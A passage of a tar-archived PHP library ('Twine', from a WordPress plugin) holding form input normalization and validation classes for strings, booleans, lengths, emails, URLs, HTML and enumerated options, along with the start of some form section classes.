* @param string $value_to_normalize
* @return array|mixed|string
*/
public function normalize($value_to_normalize)
{
if (is_array($value_to_normalize)) {
return (string) array_shift($value_to_normalize);
}
// consider `"null"` values to be equivalent to null.
if ($value_to_normalize === null) {
return null;
}
return (string) $value_to_normalize;
}
/**
* IF its a string in PHP, it will be a string in the HTML form. easy
*
* @param string $normalized_value
* @return string
*/
public function unnormalize($normalized_value)
{
// account for default "select here" option values
if ($normalized_value === null) {
return '';
}
// double-check it's a string. It's possible this value was a question option that happened to be a numeric
// string, in which case PHP has automatically converted it to an integer!
return (string) $normalized_value;
}
}
Twine/forms/strategies/normalization/BooleanNormalization.php 0000644 00000002021 14666776752 0020704 0 ustar 00 <?php
namespace Twine\forms\strategies\normalization;
/**
* BooleanNormalization
* Just casts it to a boolean (so we're assuming that we're only receiving 0 and 1s as
* inputs. DOes not handle stuff like 'yes','true','money',whatever. 1s and 0s.
* Does not growl because the only reason they would NOT have a 1 or 0, using something like
* a select or checkbox, is because they hacked the form
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class BooleanNormalization extends NormalizationBase
{
/**
* @param string | int | bool $value_to_normalize
* @return boolean
*/
public function normalize($value_to_normalize)
{
return filter_var($value_to_normalize, FILTER_VALIDATE_BOOLEAN);
}
/**
* @param boolean $normalized_value
* @return string
*/
public function unnormalize($normalized_value)
{
if ($normalized_value) {
return '1';
} else {
return '0';
}
}
}
Twine/forms/strategies/normalization/ManyValuedNormalization.php 0000644 00000005566 14666776752 0021413 0 ustar 00 <?php
namespace Twine\forms\strategies\normalization;
/**
* ManyValuesNormalization
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class ManyValuedNormalization extends NormalizationBase
{
/**
* @var array|NormalizationBase
*/
protected $individual_item_normalization_strategy = array();
/**
* @param NormalizationBase $individual_item_normalization_strategy
*/
public function __construct($individual_item_normalization_strategy)
{
$this->individual_item_normalization_strategy = $individual_item_normalization_strategy;
parent::__construct();
}
/**
* Normalizes the input into an array, and normalizes each item according to its
* individual item normalization strategy
*
* @param array | string $value_to_normalize
* @return array
*/
public function normalize($value_to_normalize)
{
if (is_array($value_to_normalize)) {
$items_to_normalize = $value_to_normalize;
} elseif ($value_to_normalize !== null) {
$items_to_normalize = array($value_to_normalize);
} else {
$items_to_normalize = array();
}
$normalized_array_value = array();
foreach ($items_to_normalize as $key => $individual_item) {
$normalized_array_value[ $key ] = $this->normalizeOne($individual_item);
}
return $normalized_array_value;
}
/**
* Normalized the one item (called for each array item in Many_values_Normalization::normalize())
*
* @param string $individual_value_to_normalize but definitely NOT an array
* @return mixed
*/
public function normalizeOne($individual_value_to_normalize)
{
return $this->individual_item_normalization_strategy->normalize($individual_value_to_normalize);
}
/**
* Converts the array of normalized things to an array of raw html values.
*
* @param array $normalized_values
* @return string[]
*/
public function unnormalize($normalized_values)
{
if ($normalized_values === null) {
$normalized_values = array();
}
if (! is_array($normalized_values)) {
$normalized_values = array($normalized_values);
}
$non_normal_values = array();
foreach ($normalized_values as $key => $value) {
$non_normal_values[ $key ] = $this->unnormalizeOne($value);
}
return $non_normal_values;
}
/**
* Unnormalizes an individual item in the array of values
*
* @param mixed $individual_value_to_unnormalize but certainly NOT an array
* @return string
*/
public function unnormalizeOne($individual_value_to_unnormalize)
{
return $this->individual_item_normalization_strategy->unnormalize($individual_value_to_unnormalize);
}
}
Twine/forms/strategies/validation/IntValidation.php 0000644 00000002370 14666776752 0016576 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
/**
* IntValidation
*
* @package Event Espresso
* @subpackage Expression package is undefined on line 19, column 19 in Templates/Scripting/PHPClass.php.
* @author Mike Nelson
*/
class IntValidation extends ValidationBase
{
/**
* @param null $validation_error_message
*/
public function __construct($validation_error_message = null)
{
if (! $validation_error_message) {
$validation_error_message = __('Only digits are allowed.', 'print-my-blog');
}
parent::__construct($validation_error_message);
}
/**
* Does nothing; int normalization should take care of this.
* @param string $normalized_value
*/
public function validate($normalized_value)
{
// this should have already been detected by the normalization strategy
}
/**
* @return array
*/
public function getJqueryValidationRuleArray()
{
return array(
'number' => true,
'step' => 1,
'messages' => array(
'number' => $this->getValidationErrorMessage(),
'step' => $this->getValidationErrorMessage(),
),
);
}
}
Twine/forms/strategies/validation/MaxLengthValidation.php 0000644 00000004005 14666776752 0017730 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use Twine\forms\helpers\ValidationError;
/**
* MaxLengthValidation
*
* Validates that the normalized value is smaller than max length
*
* @package Event Espresso
* @subpackage Expression package is undefined on line 19, column 19 in Templates/Scripting/PHPClass.php.
* @author Mike Nelson
*/
class MaxLengthValidation extends ValidationBase
{
/**
* @var int $max_length
*/
protected $max_length;
/**
* MaxLengthValidation constructor.
* @param null $validation_error_message
* @param int $max_length
*/
public function __construct($validation_error_message = null, $max_length = INF)
{
$this->max_length = $max_length;
if ($validation_error_message === null) {
$validation_error_message = sprintf(
// translators: 1: length requirement, a number
__('Input is too long. Maximum number of characters is %1$s', 'print-my-blog'),
$max_length
);
}
parent::__construct($validation_error_message);
}
/**
* Validates max length not exceeded.
* @param string $normalized_value
* @throws ValidationError
*/
public function validate($normalized_value)
{
if (
$this->max_length !== INF &&
$normalized_value &&
is_string($normalized_value) &&
strlen($normalized_value) > $this->max_length
) {
throw new ValidationError($this->getValidationErrorMessage(), 'maxlength');
}
}
/**
* @return array
*/
public function getJqueryValidationRuleArray()
{
if ($this->max_length !== INF) {
return array(
'maxlength' => $this->max_length,
'messages' => array(
'maxlength' => $this->getValidationErrorMessage(),
),
);
} else {
return array();
}
}
}
Twine/forms/strategies/validation/FloatValidation.php 0000644 00000002276 14666776752 0017116 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
/**
* Class FloatValidation
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class FloatValidation extends ValidationBase
{
/**
* @param null $validation_error_message
*/
public function __construct($validation_error_message = null)
{
if (! $validation_error_message) {
$validation_error_message = __(
'Only numeric characters, commas, periods, and spaces, please!',
'print-my-blog'
);
}
parent::__construct($validation_error_message);
}
/**
* Does nothing; should bre handled by normalization.
* @param string $normalized_value
*/
public function validate($normalized_value)
{
// errors should have been detected by the normalization strategy
}
/**
* @return array
*/
public function getJqueryValidationRuleArray()
{
return array(
'number' => true,
'messages' => array(
'number' => $this->getValidationErrorMessage(),
),
);
}
}
Twine/forms/strategies/validation/RequiredValidation.php 0000644 00000003076 14666776752 0017630 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use Twine\forms\helpers\ImproperUsageException;
use Twine\forms\helpers\ValidationError;
/**
* Class RequiredValidation
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class RequiredValidation extends ValidationBase
{
/**
* @param string|null $validation_error_message
*/
public function __construct($validation_error_message = null)
{
if (! $validation_error_message) {
$validation_error_message = __('This field is required.', 'print-my-blog');
}
parent::__construct($validation_error_message);
}
/**
* Just checks the field isn't blank, provided the requirement conditions
* indicate this input is still required
*
* @param string $normalized_value
* @return bool
* @throws ValidationError
*/
public function validate($normalized_value)
{
if (
$normalized_value === ''
|| $normalized_value === null
|| $normalized_value === array()
) {
throw new ValidationError($this->getValidationErrorMessage(), 'required');
} else {
return true;
}
}
/**
* @return array
* @throws \Error
*/
public function getJqueryValidationRuleArray()
{
return array(
'required' => true,
'messages' => array(
'required' => $this->getValidationErrorMessage(),
),
);
}
}
Twine/forms/strategies/validation/ValidationBase.php 0000644 00000006252 14666776752 0016721 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use Twine\forms\strategies\FormInputStrategyBase;
/**
* Class ValidationBase
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*/
abstract class ValidationBase extends FormInputStrategyBase
{
/**
* @var string
*/
protected $validation_error_message = '';
/**
* @param null $validation_error_message
*/
public function __construct($validation_error_message = null)
{
$this->validation_error_message = $validation_error_message === null
? __('Input invalid', 'print-my-blog')
: $validation_error_message;
parent::__construct();
}
/**
* Performs validation on the request data that corresponds to this field.
* If validation fails, should throw an ValidationError.
* Note: most validate() functions should allow $normalized_value to be empty,
* as its the job of the RequiredValidation to ensure that the field isn't empty.
*
* @param mixed $normalized_value ready for validation. May very well be NULL (which, unless
* this validation strategy is the 'required' validation strategy,
* most should be OK with a null, empty string, etc)
*/
public function validate($normalized_value)
{
// by default, the validation strategy does no validation. this should be implemented
}
/**
* Gets the JS code for use in the jQuery validation js corresponding to this field when displaying.
* For documentation, see http://jqueryvalidation.org/
* Eg to generate the following js for validation, <br><code>
* $( "#myform" ).validate({
* rules: {
* field_name: {
* required: true,
* minlength: 3,
* equalTo: "#password"
* }
* }
* });
* </code>
* this function should return array('required'=>true,'minlength'=>3,'equalTo'=>'"#password"' ).
* This is done so that if we are applying multiple sanitization strategies to a field,
* we can easily combine them.
*
* @return array
*/
public function getJqueryValidationRuleArray()
{
return array();
}
/**
* Gets the i18n validation error message for when this validation strategy finds
* the input is invalid. Used for both frontend and backend validation.
*
* @return string
*/
public function getValidationErrorMessage()
{
return $this->validation_error_message;
}
/**
* Adds js variables for localization to the $other_js_data. These should be put
* in each form's "other_data" javascript object.
*
* @param array $other_js_data
* @return array
*/
public function getOtherJsData($other_js_data = array())
{
return $other_js_data;
}
/**
* Opportunity for this display strategy to call wp_enqueue_script and wp_enqueue_style.
* This should be called during wp_enqueue_scripts
*/
public function enqueueJs()
{
}
}
Twine/forms/strategies/validation/ConditionallyRequiredValidation.php 0000644 00000021776 14666776752 0022370 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use Twine\forms\helpers\ImproperUsageException;
use Twine\forms\helpers\ValidationError;
use Twine\forms\inputs\FormInputBase;
use Twine\forms\strategies\display\SelectDisplay;
/**
* Class ConditionallyRequiredValidation
* For having inputs' requirement depend on the value of another input in the form
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class ConditionallyRequiredValidation extends ValidationBase
{
/**
* Array describing conditions necessary to make the input required.
* This is used to derive a jquery dependency expression (see http://jqueryvalidation.org/required-method)
* or jquery callback; and server-side logic to determine if the field is necessary.
* @var array
*/
protected $requirement_conditions;
/**
* @param string $validation_error_message
* @param array $requirement_conditions
*/
public function __construct($validation_error_message = null, $requirement_conditions = array())
{
if (! $validation_error_message) {
$validation_error_message = __('This field is required.', 'print-my-blog');
}
$this->setRequirementConditions($requirement_conditions);
parent::__construct($validation_error_message);
}
/**
* Just checks the field isn't blank, provided the requirement conditions
* indicate this input is still required
*
* @param string $normalized_value
* @return bool
* @throws ValidationError
*/
public function validate($normalized_value)
{
if (
(
$normalized_value === ''
|| $normalized_value === null
|| $normalized_value === array()
)
&& $this->inputSsRequiredServerSide()
) {
throw new ValidationError($this->getValidationErrorMessage(), 'required');
} else {
return true;
}
}
/**
* @return array
* @throws \Error
*/
public function getJqueryValidationRuleArray()
{
return array(
'required' => $this->getJqueryRequirementValue(),
'messages' => array(
'required' => $this->getValidationErrorMessage(),
),
);
}
/**
* Sets the "required conditions". This should be an array, its top-level key
* is the name of a field, its value is an array. This 2nd level array has two items:
* the first is the operator (for now only '=' is accepted), and teh 2nd argument is the
* the value the field should be in order to make the field required.
* Eg array( 'payment_type' => array( '=', 'credit_card' ).
*
* @param array $requirement_conditions
*/
public function setRequirementConditions($requirement_conditions)
{
$this->requirement_conditions = (array) $requirement_conditions;
}
/**
* Gets the array that describes when the related input should be required.
* see set_requirement_conditions for a description of how it should be formatted
* @return array
*/
public function getRequirementConditions()
{
return $this->requirement_conditions;
}
/**
* Gets jQuery dependency expression used for client-side validation
* Its possible this could also return a javascript callback used for determining
* if the input is required or not. That is not yet implemented, however.
*
* @return string see http://jqueryvalidation.org/required-method for format
* @throws ImproperUsageException
*/
protected function getJqueryRequirementValue()
{
$requirement_value = '';
$conditions = $this->getRequirementConditions();
if (! is_array($conditions)) {
throw new ImproperUsageException(
sprintf(
// translators: 1: name of input.
__('Input requirement conditions must be an array. You provided %1$s', 'print-my-blog'),
$this->input->name()
)
);
}
if (count($conditions) > 1) {
throw new ImproperUsageException(
sprintf(
// translators: 1: name of input.
__('Required Validation Strategy does not yet support multiple conditions. You should add it! The related input is %1$s', 'print-my-blog'),
$this->input->name()
)
);
}
foreach ($conditions as $input_path => $op_and_value) {
$input = $this->input->findSectionFromPath($input_path);
if (! $input instanceof FormInputBase) {
throw new ImproperUsageException(
sprintf(
// translators: 1: name of input, 2: path to input
__('Error encountered while setting requirement condition for input %1$s. The path %2$s does not correspond to a valid input', 'print-my-blog'),
$this->input->name(),
$input_path
)
);
}
list( $op, $value ) = $this->validateOpAndValue($op_and_value);
// ok now the jquery dependency expression depends on the input's display strategy.
if (! $input->getDisplayStrategy() instanceof SelectDisplay) {
throw new ImproperUsageException(
sprintf(
// translators: 1: input name, 2: classname, 3: other input name
__('Required Validation Strategy can only depend on another input which uses the SelectDisplay, but you specified a field "%1$s" that uses display strategy "%2$s". If you need others, please add support for it! The related input is %3$s', 'print-my-blog'),
$input->name(),
get_class($input->getDisplayStrategy()),
$this->input->name()
)
);
}
$requirement_value = $input->htmlId(true) . ' option[value="' . $value . '"]:selected';
}
return $requirement_value;
}
/**
* Returns whether or not this input is required based on the _requirement_conditions
* (not whether or not the input passes validation. That's for the validate method
* to decide)
*
* @return boolean
* @throws ImproperUsageException
*/
protected function inputSsRequiredServerSide()
{
$meets_all_requirements = true;
$conditions = $this->getRequirementConditions();
foreach ($conditions as $input_path => $op_and_value) {
$input = $this->input->findSectionFromPath($input_path);
if (! $input instanceof FormInputBase) {
throw new ImproperUsageException(
sprintf(
// translators: 1: input name, 2: path to input
__('Error encountered while setting requirement condition for input %1$s. The path %2$s does not correspond to a valid input', 'print-my-blog'),
$this->input->name(),
$input_path
)
);
}
list( $op, $value ) = $this->validateOpAndValue($op_and_value);
switch ($op) {
case '=':
default:
$meets_all_requirements = $input->normalizedValue() === $value;
}
if (! $meets_all_requirements) {
break;
}
}
return $meets_all_requirements;
}
/**
* Verifies this is an array with keys 0 and 1, where key 0 is a usable
* operator (initially just '=') and key 1 is something that can be cast to a string
*
* @param array $op_and_value
* @return array
* @throws ImproperUsageException
*/
protected function validateOpAndValue($op_and_value)
{
if (! isset($op_and_value[0], $op_and_value[1])) {
throw new ImproperUsageException(
sprintf(
// translators: 1: input name
__('Required Validation Strategy conditions array\'s value must be an array with two elements: an operator, and a value. It didn\'t. The related input is %1$s', 'print-my-blog'),
$this->input->name()
)
);
}
$operator = $op_and_value[0];
$value = (string) $op_and_value[1];
if ($operator !== '=') {
throw new ImproperUsageException(
sprintf(
// translators: 1: input name
__('Required Validation Strategy conditions can currently only use the equals operator. If you need others, please add support for it! The related input is %1$s', 'print-my-blog'),
$this->input->name()
)
);
}
return array( $operator, $value );
}
}
Twine/forms/strategies/validation/UrlValidation.php 0000644 00000002406 14666776752 0016606 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use EventEspresso\core\services\validators\URLValidator;
use InvalidArgumentException;
use Twine\forms\helpers\ValidationError;
/**
* Class UrlValidation
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class UrlValidation extends ValidationBase
{
/**
* @var @boolean whether we should check if the file exists or not
*/
protected $check_file_exists;
/**
* @var URLValidator
*/
protected $url_validator;
/**
* Just checks the field isn't blank
*
* @param string $normalized_value
* @throws ValidationError
*/
public function validate($normalized_value)
{
if ($normalized_value) {
if (esc_url_raw($normalized_value) !== $normalized_value) {
throw new ValidationError($this->getValidationErrorMessage(), 'invalid_url');
}
}
}
/**
* @return array
*/
public function getJqueryValidationRuleArray()
{
return array(
'validUrl' => true,
'messages' => array(
'validUrl' => $this->getValidationErrorMessage(),
),
);
}
}
Twine/forms/strategies/validation/EmailValidation.php 0000644 00000003646 14666776752 0017102 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use EventEspresso\core\domain\services\factories\EmailAddressFactory;
use EventEspresso\core\domain\services\validation\email\EmailValidationException;
use EventEspresso\core\exceptions\InvalidDataTypeException;
use EventEspresso\core\exceptions\InvalidInterfaceException;
use InvalidArgumentException;
use Twine\forms\helpers\ValidationError;
/**
* Class EmailValidation
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*/
class EmailValidation extends TextValidation
{
/**
* @param string $validation_error_message
*/
public function __construct($validation_error_message = '')
{
if (! $validation_error_message) {
$validation_error_message = esc_html__('Please enter a valid email address.', 'print-my-blog');
}
parent::__construct($validation_error_message);
}
/**
* Just checks the field isn't blank
*
* @param string $normalized_value
* @return bool
* @throws ValidationError
*/
public function validate($normalized_value)
{
if ($normalized_value && ! $this->validateEmail($normalized_value)) {
throw new ValidationError($this->getValidationErrorMessage(), 'required');
}
return true;
}
/**
* @return array
*/
public function getJqueryValidationRuleArray()
{
return array(
'email' => true,
'messages' => array(
'email' => $this->getValidationErrorMessage(),
),
);
}
/**
* Validate an email address.
* Provide email address (raw input)
*
* @param string $email
* @return bool of whether the email is valid or not
*/
private function validateEmail($email)
{
return is_email($email);
}
}
Twine/forms/strategies/validation/FullHtmlValidation.php 0000644 00000010157 14666776752 0017575 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use Twine\forms\helpers\ValidationError;
use Twine\helpers\Html;
/**
* Class FullHtmlValidation
*
* Makes sure there are only 'simple' html tags in the normalized value. Eg, line breaks, lists, links. No js etc though
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class FullHtmlValidation extends ValidationBase
{
/**
* @param null $validation_error_message
*/
public function __construct($validation_error_message = null)
{
if (! $validation_error_message) {
$validation_error_message = sprintf(
// translators: 1: html for a line break, 2: list of allowed tags
__('You are using HTML that might be beyond your permission. Only the following HTML tags are allowed:%1$s%2$s, and the following attributes: %3$s. If you are using the style attribute, make sure you don’t end in a semicolon and remove whitespace between CSS properties (e.g. "style=\'color:red;height:12px\'")', 'print-my-blog'),
'<br />',
$this->getListOfAllowedTags(),
$this->getListOfAllowedAttributes()
);
}
parent::__construct($validation_error_message);
}
/**
* Generates and returns a string that lists the top-level HTML tags that are allowable for this input
*
* @return string
*/
public function getListOfAllowedTags()
{
$tags_we_allow = $this->getAllowedTags();
ksort($tags_we_allow);
return implode(', ', array_keys($tags_we_allow));
}
/**
* Returns an array whose keys are allowed attributes.
* @return bool[]
*/
public function getAllowedAttributes()
{
return [
'class' => true,
'id' => true,
'style' => true,
'src' => true,
'alt' => true,
'width' => true,
'height' => true,
'target' => true,
];
}
/**
* Generates and returns a string that lists the top-level HTML tags that are allowable for this input
*
* @return string
*/
public function getListOfAllowedAttributes()
{
$tags_we_allow = $this->getAllowedAttributes();
ksort($tags_we_allow);
return implode(', ', array_keys($tags_we_allow));
}
/**
* Returns an array whose keys are allowed tags and values are an array of allowed attributes
*
* @return array
*/
protected function getAllowedTags()
{
global $allowedtags;
$tags_we_allow['p'] = array();
$allowed_attributes = $this->getAllowedAttributes();
$tags_we_allow = array_merge_recursive(
$allowedtags,
array(
'ol' => $allowed_attributes,
'ul' => $allowed_attributes,
'li' => $allowed_attributes,
'br' => $allowed_attributes,
'p' => $allowed_attributes,
'a' => $allowed_attributes,
'h1' => $allowed_attributes,
'h2' => $allowed_attributes,
'h3' => $allowed_attributes,
'h4' => $allowed_attributes,
'h5' => $allowed_attributes,
'h6' => $allowed_attributes,
'hr' => $allowed_attributes,
'img' => $allowed_attributes,
'div' => $allowed_attributes,
)
);
return apply_filters('Twine\forms\strategies\validation\FullHtmlValidation::getAllowedTags', $tags_we_allow);
}
/**
* Validates HTML contains no prohibited tags.
* @param string $normalized_value
* @throws ValidationError
*/
public function validate($normalized_value)
{
parent::validate($normalized_value);
$normalized_value_sans_tags = wp_kses("$normalized_value", $this->getAllowedTags());
if (strlen($normalized_value) > strlen($normalized_value_sans_tags)) {
throw new ValidationError($this->getValidationErrorMessage(), 'complex_html_tags');
}
}
}
Twine/forms/strategies/validation/ManyValuedValidation.php 0000644 00000004633 14666776752 0020115 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use Twine\forms\inputs\FormInputBase;
/**
* Class ManyValuedValidation
*
* For validation on an input which has an ARRAY of values, instead of a single value. The
* individual item validation strategies will be applied to EACH item in the array
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class ManyValuedValidation extends ValidationBase
{
/**
* @var array|ValidationBase[]|ValidationBase[][]
*/
protected $individual_item_validation_strategies = array();
/**
*
* @param ValidationBase[] $individual_item_validation_strategies (or a single ValidationBase)
*/
public function __construct($individual_item_validation_strategies)
{
if (! is_array($individual_item_validation_strategies)) {
$individual_item_validation_strategies = array($individual_item_validation_strategies);
}
$this->individual_item_validation_strategies = $individual_item_validation_strategies;
parent::__construct();
}
/**
* Applies all teh individual item validation strategies on each item in the array
* @param array $normalized_value
* @return boolean
*/
public function validate($normalized_value)
{
if (is_array($normalized_value)) {
$items_to_validate = $normalized_value;
} else {
$items_to_validate = array($normalized_value);
}
foreach ($items_to_validate as $individual_item) {
foreach ($this->individual_item_validation_strategies as $validation_strategy) {
if ($validation_strategy instanceof ValidationBase) {
$validation_strategy->validate($individual_item);
}
}
}
return true;
}
/**
* Extends parent's _construct_finalize so we ALSO set the input
* on each sub-validation-strategy
*
* @param FormInputBase $form_input
*/
public function constructFinalize(FormInputBase $form_input)
{
parent::constructFinalize($form_input);
foreach ($this->individual_item_validation_strategies as $item_validation_strategy) {
if ($item_validation_strategy instanceof ValidationBase) {
$item_validation_strategy->constructFinalize($form_input);
}
}
}
}
Twine/forms/strategies/validation/MinLengthValidation.php 0000644 00000003117 14666776752 0017731 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use Twine\forms\helpers\ValidationError;
/**
* MinLengthValidation
*
* Validates that the normalized value is at least the specified length
*
* @package Event Espresso
* @subpackage Expression package is undefined on line 19, column 19 in Templates/Scripting/PHPClass.php.
* @author Mike Nelson
*/
class MinLengthValidation extends ValidationBase
{
/**
* @var int
*/
protected $min_length;
/**
* MinLengthValidation constructor.
* @param null $validation_error_message
* @param int $min_length
*/
public function __construct($validation_error_message = null, $min_length = 0)
{
$this->min_length = $min_length;
parent::__construct($validation_error_message);
}
/**
* Validates string length requirement met.
* @param string $normalized_value
* @throws ValidationError
*/
public function validate($normalized_value)
{
if (
$this->min_length > 0 &&
$normalized_value &&
is_string($normalized_value) &&
strlen($normalized_value) < $this->min_length
) {
throw new ValidationError($this->getValidationErrorMessage(), 'minlength');
}
}
/**
* @return array
*/
public function getJqueryValidationRuleArray()
{
return array(
'minlength' => $this->min_length,
'messages' => array(
'minlength' => $this->getValidationErrorMessage(),
),
);
}
}
Twine/forms/strategies/validation/EnumValidation.php 0000644 00000004304 14666776752 0016747 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use Twine\forms\helpers\ImproperUsageException;
use Twine\forms\helpers\ValidationError;
use Twine\forms\inputs\FormInputWithOptionsBase;
/**
* Class EnumValidation
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class EnumValidation extends ValidationBase
{
/**
* Check that the value is in the allowed list
* @param string $normalized_value
* @throws ImproperUsageException
* @throws ValidationError
* @return boolean
*/
public function validate($normalized_value)
{
parent::validate($normalized_value);
if (! $this->input instanceof FormInputWithOptionsBase) {
throw new ImproperUsageException(
__('Cannot use Enum Validation Strategy with an input that doesn\'t have options', 'print-my-blog')
);
}
$enum_options = $this->input->flatOptions();
if ($normalized_value === true) {
$normalized_value = 1;
} elseif ($normalized_value === false) {
$normalized_value = 0;
}
if ($normalized_value !== null && ! array_key_exists($normalized_value, $enum_options)) {
throw new ValidationError(
$this->getValidationErrorMessage(),
'invalid_enum_value'
);
} else {
return true;
}
}
/**
* If we are using the default validation error message, make it dynamic based
* on the allowed options.
* @return string
*/
public function getValidationErrorMessage()
{
$parent_validation_error_message = parent::getValidationErrorMessage();
if (! $parent_validation_error_message) {
$enum_options = $this->input instanceof FormInputWithOptionsBase ? $this->input->flatOptions() : '';
return sprintf(
// translators: 1: list of options.
__('This is not allowed option. Allowed options are %s.', 'print-my-blog'),
implode(', ', $enum_options)
);
} else {
return $parent_validation_error_message;
}
}
}
Twine/forms/strategies/validation/TextValidation.php 0000644 00000004106 14666776752 0016767 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use Twine\forms\helpers\ValidationError;
/**
* TextValidation
* Optionally, a regular expression can be provided that will be used for validation.
*
* @package Event Espresso
* @subpackage Expression package is undefined on line 19, column 19 in Templates/Scripting/PHPClass.php.
* @author Mike Nelson
*/
class TextValidation extends ValidationBase
{
/**
* @var string|null
*/
protected $regex = null;
/**
*
* @param string $validation_error_message
* @param string $regex a PHP regex; the javascript regex will be derived from this
*/
public function __construct($validation_error_message = null, $regex = null)
{
$this->regex = $regex;
parent::__construct($validation_error_message);
}
/**
* @param string $normalized_value
* @throws ValidationError
*/
public function validate($normalized_value)
{
$string_normalized_value = (string) $normalized_value;
if ($this->regex && $string_normalized_value) {
if (! preg_match($this->regex, $string_normalized_value)) {
throw new ValidationError($this->getValidationErrorMessage(), 'regex');
}
}
}
/**
* @return array
*/
public function getJqueryValidationRuleArray()
{
if ($this->regex !== null) {
return array(
'regex' => $this->regexJs(),
'messages' => array(
'regex' => $this->getValidationErrorMessage(),
),
);
} else {
return array();
}
}
/**
* Translates a PHP regex into a javscript regex (eg, PHP needs separate delimieters, whereas
* javscript does not
* @return string
*/
public function regexJs()
{
// first character must be the delimiter
$delimeter = $this->regex[0];
$last_occurence_of_delimieter = strrpos($this->regex, $delimeter);
return substr($this->regex, 1, $last_occurence_of_delimieter - 1);
}
}
Twine/forms/strategies/validation/EqualToValidation.php 0000644 00000003331 14666776752 0017414 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use EventEspresso\core\domain\services\factories\EmailAddressFactory;
use EventEspresso\core\domain\services\validation\email\EmailValidationException;
use EventEspresso\core\exceptions\InvalidDataTypeException;
use EventEspresso\core\exceptions\InvalidInterfaceException;
/**
* Class EqualToValidation
*
* @package Event Espresso
* @subpackage core
* @since 4.10.5.p
* @author Rafael Goulart
*/
class EqualToValidation extends TextValidation
{
/**
* @var string|null
*/
protected $compare_to = null;
/**
* Construction.
* @param string $validation_error_message
* @param string $compare_to
*/
public function __construct($validation_error_message = '', $compare_to = '')
{
if (! $validation_error_message) {
$validation_error_message = apply_filters(
'FH_EqualToValidation____construct__validation_error_message',
esc_html__('Fields do not match.', 'print-my-blog')
);
}
parent::__construct($validation_error_message);
$this->compare_to = $compare_to;
}
/**
* Just checks the field isn't blank
*
* @param string $normalized_value
* @return bool
*/
public function validate($normalized_value)
{
// No need to be validated
return true;
}
/**
* @return array
*/
public function getJqueryValidationRuleArray()
{
return array(
'equalTo' => $this->compare_to,
'messages' => array(
'equalTo' => $this->getValidationErrorMessage(),
),
);
}
}
Twine/forms/strategies/validation/PlaintextValidation.php 0000644 00000002164 14666776752 0020015 0 ustar 00 <?php
namespace Twine\forms\strategies\validation;
use Twine\forms\helpers\ValidationError;
/**
* Class PlaintextValidation
*
* Makes sure there are no tags in the submission.
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class PlaintextValidation extends ValidationBase
{
/**
* @param null $validation_error_message
*/
public function __construct($validation_error_message = null)
{
if (! $validation_error_message) {
$validation_error_message = __('HTML tags are not permitted in this field', 'print-my-blog');
}
parent::__construct($validation_error_message);
}
/**
* @param string $normalized_value
* @throws ValidationError
*/
public function validate($normalized_value)
{
$no_tags = wp_strip_all_tags($normalized_value);
if (strlen($no_tags) < strlen(trim($normalized_value))) {
throw new ValidationError($this->getValidationErrorMessage(), 'no_html_tags');
}
parent::validate($normalized_value);
}
}
Twine/forms/base/FormSectionDetails.php 0000644 00000002434 14666776752 0014176 0 ustar 00 <?php
namespace Twine\forms\base;
use Twine\forms\strategies\layout\AdminTwoColumnLayout;
use Twine\forms\strategies\layout\DetailsSummaryLayout;
/**
* Class FormSectionDetails
* @package Twine\forms\base
*/
class FormSectionDetails extends FormSection
{
/**
* @var mixed|string|void
*/
protected $html_summary;
/**
* FormSectionDetails constructor.
* @param array $options_array
* @throws \Twine\forms\helpers\ImproperUsageException
*/
public function __construct($options_array = array())
{
if (isset($options_array['html_summary'])) {
$this->html_summary = (string)$options_array['html_summary'];
} else {
$this->html_summary = __('Details', 'twine');
}
if (! isset($options_array['layout_strategy'])) {
$options_array['layout_strategy'] = new AdminTwoColumnLayout();
}
// wrap the layout strategy in the details-summary one.
$options_array['layout_strategy'] = new DetailsSummaryLayout(
$options_array['layout_strategy']
);
parent::__construct($options_array);
}
/**
* Gets the summary text to show
* @return string
*/
public function getSummary()
{
return $this->html_summary;
}
}
Twine/forms/base/FormSectionHtmlFromTemplate.php 0000644 00000001235 14666776752 0016033 0 ustar 00 <?php
namespace Twine\forms\base;
/**
* FormSectionHtml_From_Template
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
* ------------------------------------------------------------------------
*/
class FormSectionHtmlFromTemplate extends FormSectionHtml
{
/**
* FormSectionHtmlFromTemplate constructor.
* @param string $template_file
* @param array $args
* @param array $options_array
*/
public function __construct($template_file, $args = array(), $options_array = array())
{
$html = require_once $template_file;
parent::__construct($html, $options_array);
}
}
Twine/forms/base/FormSectionValidatable.php 0000644 00000012452 14666776752 0015022 0 ustar 00 <?php
namespace Twine\forms\base;
use Exception;
use Twine\forms\helpers\ValidationError;
/**
* FormSectionValidatable
* Class for cross-cutting job of handling forms.
* In the presentation layer Form Sections handle the display of form inputs on the page.
* In both the presentation and controller layer, Form Sections handle validation (by js and php)
* Used from within a controller, Form Sections handle input sanitization.
